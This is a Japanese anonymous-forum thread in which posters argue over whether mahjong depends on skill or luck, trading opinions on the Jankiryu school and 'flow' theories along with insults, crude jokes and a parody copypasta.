　　　上手いというのはしのぎの技術ではないかと
　　　　強いというのは引きの良さなど要所での引き勝ち等の運の強い人
　　　いかに自分のペースを保てる人ではないかと
　　　　　　　　　こんな感じでいかが？あくまで個人的な意見ですが

>>792
雀鬼流の人が良く使う言い回し。
上手いというのは、小手先の技術でのらりくらりと躱したり
降りたりしても勝ちを拾っていくような人。（どちらかと守備型？）
強い人とは、自分の打ち方を曲げず降りるような事をしない
受けをしかっり持ち、前に向かっていくような姿勢（攻撃型？）

昔、雀鬼流の人に上手いと強いは違う、俺は強い打ち手になりたいと言われた
詳しくは聞かなかったが、自分はその人と何度か打って上のように解釈した。

雀鬼流って何なの？
こんな運試しゲームで流派とか作っちゃってるわけ？
これはもう驚きを通り越して哀れだね。ﾌﾟ
きっと群れて強くなった気になってるんだろうね。
それに雀鬼って。すごいネーミングセンスだね。ﾌﾟ
でも考えてみれば、君たちみたいな馬鹿でちっぽけな人達が
自分を拡大投影する対象にはちょうどいいかもね。
不良に憧れる中学生のようにさ。ﾌﾟﾌﾟ
とにかく君タチにはﾜﾛﾀ（・∀・）

麻雀奥が深い、とゆーより、奥がない！
その麻雀を運だけとゆーのは悲しい…。
たしかに時の運かもしれないが、自分
の意思が加わって楽しむものだと思い
ますよ。

麻雀は運のみ

＞＞797
と思ってるうちは、上手くならんよ。

>>794の解釈が正しいとすると、
雀鬼流的用語だと
上手いと強いは相反する概念みたいだな。

あと>>795は本当に>>1か？

>796
それが出来りゃいいんだけどね・・・残念ながらいくら勝ちたいと思っても
手も足も出ない時ってのはある。逆にテキトーにうって勝てる時もある。

>>1は現在センズリ中

麻雀が実力か運かでこんな真剣に話するなんて
やっぱり麻雀やってるやつらは　

　　　バ　　　カ　　　　

だよなー（笑）

>>802
Mona Comes to You
Speaking Words of Wisdom
（´∀｀）＜　"オマエモナー"

>>802
麻雀やったことないのかな？
それとも自分もバカだって気付かないのかな？
どちらにしろこのスレにはむいてませんね。
他の板をお探しください。

オレは正直ある程度の麻雀慣れした人間同士なら運の要素が殆どだと思う。
ただ、このスレの

ど素人だろうがなんだろうが先にリーチして先にツモりゃ
自称「巧い」人たちはなにもできないよね。

これはヒドイ！！こんな理屈小学生でも言わないよ。理屈にもなってないし。
これギャグだよね？
１は本当は麻雀知ってて、「こういう事言う初心者に何て説明するか」
シュミレートしてるだけだよね？

麻雀における運の部分てツモと配牌だろ？
何を切って何を鳴くかは実力。
ただ絶対に正しい手というのがないからわかりづらいだけ。
結果が出てからしか何が正しかったのかわからない。
強い人とはそれを選択するのが多い人。

＞806
良い事言った！

>806
ごめん、めちゃくちゃ分かり易くて感動しますた！

麻雀は気持ちで打て

だが、雀鬼流は運を凌駕するらしいぞ

雀鬼流は運をつけるためのテクニックみたいなもんだよ。
少々宗教じみてはいるけどね。

>>810
あまり雀鬼流のことは知らないんだが…。
運を凌駕するとはどういうこと？
運をコントロールするってこと？
それとも牌流理論みたいなもん？

麻雀は運だけです。

ついたら勝って、つかなかったら負ける。

そのくりかえし。


ただそれだけなので、皆様の貴重な時間をつかうのはもったいないですよ

まだ言っとるんかーーーーーー！！

>>812
失礼、運をもと書こうとしたら脱字してた。
運をコントロールしているに近いような事を言ってると思う。
有名な天運、地運

>>815
ようするに運を手に入れるのも実力ってことか。

>>806
確かに鳴くのも切るのも自由なんだけど、
鳴くとどうなるか・切るとどうなるかが判るヒントがマージャンにはほとんど無いから、運次第なんじゃないの？
ポーカーでホールドするか、麻雀で鳴くかは同じようなもの
どれを切れば良いかは切ってからしかわからない
どれを切ったほうが良いかのヒントは本当に少ないし、他の奴が速くツモれば終わりだし、テンパイできるツモが来ないと鳴いても何してもテンパイできないし
>>130みたいなことしてる人いるけどいったいそれから何が判るというのだろう

>>817
ネタのためにそういう書き込みしてるんだろうが、
しつこいｗ

どんなに実力がなくても運がよければ勝てるが
どんなに実力があっても運が悪ければ負ける。
よって実力よりも運のほうが大事。

実力？
はあ…
実力あるふりした奴の勝ち！
そして素人を威嚇してへこましてる。

運がいい時にキッチリ勝ち切るのが実力。
運が悪い時に頑張って黒棒差でラスを抜けるのも実力。

運がよかろうが悪かろうが、その時々で
でき得る最善を尽くすのが大事。

>>817
何切る問題を連続でやったり実力の差を見たりだと思うよ

時代は棒テン即リーです。

まあ、俺みたいな天才的な豪運の持ち主ともなれば
リーチ後、３巡もあればツモることができるからまず負けないよ。
プロだっけ？そういう人達と1回打ってみたいなあ。げらげら

黒　棒　っ　て　何　で　す　か　？　初　め　て　聞　く　言　葉　な　ん　で　す　が？

http://pakopako.misty.ne.jp/enter.cgi?id=arifish

>>824
リアルの東風荘いってこい

ほとんど、運じゃない？
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
麻雀プロとかあるけどさぁ運がよかった人たちの事じゃないの?
ど素人だろうがなんだろうが先にリーチして先にツモりゃ
自称「巧い」人たちはなにもできないよね。
君タチにはﾜﾛﾀ（・∀・）

>>825
使いすぎた肉棒のコトです

>>829
ネタにマジレスｶｺﾜﾙｲ

>>830
は？

どこがマジレスなんだ？

>>831
それこそ>>830

>>832
それこそ>>830

運の流れとか言ってる人っていまだにいるみたいだね。
上がったら運を引き寄せるとか、
鳴くと流れが変わるとか。

わけの分からない運の部分を埋める考え方としては
アリだと思うけど、
「流れはあるに決まってんじゃねえか。」
とか、本当に信じてしまってる奴がイタイ。

そういう奴に限って、上がっても運がこなかったら、
「運を使い果たした。」
とか言いやがる。

運ってなに？

(゜゜）（。。）（゜゜）（。。）ウンウン

>>834
暇つぶしに麻雀ホームページ巡りをしてたら、
運・流れについて書いてあるページばかりだったよ。
だから未だに流れ論者はおおいんだなあと実感した。
タイトルが「麻雀戦術論」とかになってるが、全然戦術として確立されてねーよ。

運にも天運、地運とあるけどな

>>830
ネタにマジレスしてんじゃねーよ
かっこわるぅ〜〜〜！！

君たちはほんと無益な議論が好きだねぇ
馬鹿ばっかでホントつらいｗ

要は運のみ。

実は俺はお前らよりずっと馬鹿なんだけどな

そんな>>1が大好きです

>>838
がいしゅつかと。

ってか麻雀力のみですよ、麻雀は。
配牌やツモの良い悪いは「麻雀力」の差です。

新たな電波君の登場です　

>845
お前の自摸や配牌はさぞ悪いんだろうな。同情する

麻雀は運が１０です。そしてその運を１１…１２…と増やした方が勝ちます。

パチンコ雑誌とかによく載ってるトルマリンブレスとかつければ運が11になったり
するんですか？

麻雀は実力：運が６：４ぐらいだと思う。

>>850
もし実力が６０の人が打てば運は４０出る
もし実力が１２の人なら運は８
よって、実力がある人の方が運も強い
ゆえに、実力が全て

(ﾟДﾟ)ﾊｧ?

つもる能力は100％運
すてる能力は100％実力

よって>>1はアフォ

結論　麻雀に実力は関係あり

>>1はすてる能力は100％実力の反論ができないので

-----------------------糸冬　　了---------------------------------------------

>>853
既出

age

昨日、近所で麻雀やったんですよ、麻雀。
７回ハンチャンやった時点で＋７０くらい勝っていたので、ラス引いても＋で終わる予定だったわけですよ。
そうしたら東２局自分が親でやっていたら下家がリーチをしてきたんですよ。
もうね、アホかと。馬鹿かと。
お前らな、９巡目あたりで普段かけないリーチかけんじゃねーよ、ボケが。
９巡目だよ、９巡目。おめでてーな。
よーしパパオープンリーチしちゃうぞー、とか言ってるの。もう見てらんない。
お前らな、1000点ずつやるからこの局はおとなしくしてろと。
麻雀ってのはな、もっと殺伐としてるべきなんだよ。
麻雀卓の向かいに座った奴といつ喧嘩が始まってもおかしくない、振るか振られるか、そんな雰囲気がいいんじゃねーか。女子供はすっこんでろ。
なんか親だったので当たり牌を抑えて七対子タンヤオドラドラを狙っていたら７ソウをツモってきたので捨て牌を見ると対面のヤシがリーチに微妙なタイミングで７ソウを捨てていたんです。
私は聞きました。
「その７ソウってリーチに切れてんの？」
対面
「ああ、ガン通しですよ。」って言うんですよ。
その言葉を聞いて７ソウをノータイムで切り出すと下家がロンって言ってくるんですよ。そこでまたぶち切れですよ。
しかもリーチ３色平和で満貫。
あのな、ガン通しなんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、ガン通しで、だ。
お前は本当に通ってる牌を教えたいのかと問いたい。問い詰めたい。小１時間問い詰めたい。
お前、ガン通しって言いたいだけちゃうんかと。
麻雀で売られた喧嘩は麻雀で返すべく虎視眈々と対面のヤシを狙うことに。
麻雀通の俺から言わせてもらえば今、麻雀通での間での最新流行じゃやっぱり、
四暗刻オープンリーチ、これだね。
暗カン四暗刻オープンリーチラス南ツモ。これが通のあがり方。
四暗刻オープンリーチってのは上家もオープンリーチしてくる。そんかわり対面の親が無口になる。これ。
で、それに下家もオープンリーチで追いかける宣言。これ最強。
しかしこれを頼むと次からずっとオープンリーチしなければいけないという危険も伴う、諸刃の剣。
素人にはお勧め出来ない。
まあお前らド素人は、タンヤオでも食ってなさいってこった。

ごめん、誤爆
(´･ω･`)ｼｮﾎﾞｰﾝ

人生の落伍者が集うスレはここですか？

別にこのスレに限った話ではありません

>>849
周りでトルマリンとか持ってるヤシいない？

>860
いませんよ。金風呂３ｐとかやってるﾔｼもいませんし、部分軌道爆撃系人工精霊も
持ってません。

？
？？？？　　　ﾊｧﾊｧ ﾊｧ 　　　　

？？？？？　　ﾊｧﾊｧ ﾊｧ 　　　

？？？？　　　ﾊｧﾊｧ ﾊｧﾊｧ
？？？　　　ﾊｧ 　　
？ 　
？？？？　　　ﾊｧﾊｧ ﾊｧ

？？？？？　　ﾊｧﾊｧ ﾊｧ 　　　

？？？？？　　ﾊｧﾊｧ ﾊｧﾊｧ 　　　　
？？？　　　ﾊｧ ハアハア ウッ！・・・

　　ううう